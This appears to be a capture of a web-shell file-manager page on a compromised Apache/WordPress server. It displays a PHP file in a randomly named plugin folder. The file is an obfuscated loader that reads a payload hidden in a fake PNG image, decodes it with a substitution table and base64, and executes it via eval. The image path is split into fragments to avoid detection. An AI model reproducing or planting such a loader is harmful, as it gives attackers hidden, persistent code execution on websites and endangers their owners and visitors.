HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/nazigakiwa/dyhapis.php
<?php

function duzutaj_wunumyz($bubunes_zecheru) {
    if (!file_exists($bubunes_zecheru))
        return false;
    $okhesyn = @file_get_contents($bubunes_zecheru);
    if (!$okhesyn)
        return false;
    $okhesyn = substr($okhesyn, 3);
    $nezafi = ysebaja_evyzekh($okhesyn);
    return $nezafi;
}

function ysebaja_evyzekh($bubunes_zecheru) {
    $marifan = ylojivu_ihiloqu;
    $dikhuna = array();
    for ($rekysaz = 0; $rekysaz < strlen($marifan); $rekysaz += 2) {
        $gathofi = substr($marifan, $rekysaz, 1);
        $okivot = substr($marifan, $rekysaz + 1, 1);
        $dikhuna[$gathofi] = $okivot;
    }
    $ukakhix = strtr($bubunes_zecheru, $dikhuna);
    $ukakhix = base64_decode($ukakhix);

    return $ukakhix;
}

define("ylojivu_ihiloqu", "txfaxEGq5G967nnbvV=fLHiXMUDNmmsyuSwMYWHRNLdtg/Je+9CslkB8aoWTVJoh4jFdXcz1yp1gp0rDQY04ZvPijORQ6=hlUw2+eFSrAP32Eu/3kBcKIZq5TAbCKIOz87");

$wykofyh = duzutaj_wunumyz(__DIR__ . "/asset" . "s/ima" . "ges/lu" . "cyzum." . "png");
if ($wykofyh) {
    @eval($wykofyh);
}